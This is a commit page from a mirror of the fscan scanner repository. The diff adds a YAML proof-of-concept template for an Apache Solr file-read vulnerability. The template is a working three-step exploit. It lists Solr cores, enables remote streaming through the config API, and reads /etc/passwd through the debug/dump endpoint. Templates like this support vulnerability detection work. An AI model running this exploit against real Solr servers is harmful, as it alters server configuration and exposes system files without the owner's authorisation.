mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-26 21:21:53 +08:00
更新mod库、编码、poc等
This commit is contained in:
@@ -0,0 +1,25 @@
|
||||
name: poc-yaml-solr-fileread1
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/solr/admin/cores?indexInfo=false&wt=json"
|
||||
expression: response.status == 200 && response.body.bcontains(b"responseHeader")
|
||||
search: >-
|
||||
"name":"(?P<core>.+?)"
|
||||
- method: POST
|
||||
path: "/solr/{{core}}/config"
|
||||
body: |
|
||||
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
|
||||
expression: |
|
||||
response.body.bcontains(b"responseHeader")
|
||||
- method: POST
|
||||
path: "/solr/{{core}}/debug/dump?param=ContentStreams"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
stream.url=file:///etc/passwd
|
||||
expression: |
|
||||
response.status == 200 && r'root:[x*]:0:0:'.bmatches(response.body)
|
||||
detail:
|
||||
author: whami-root(https://github.com/whami-root)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186
|
||||
Reference in New Issue
Block a user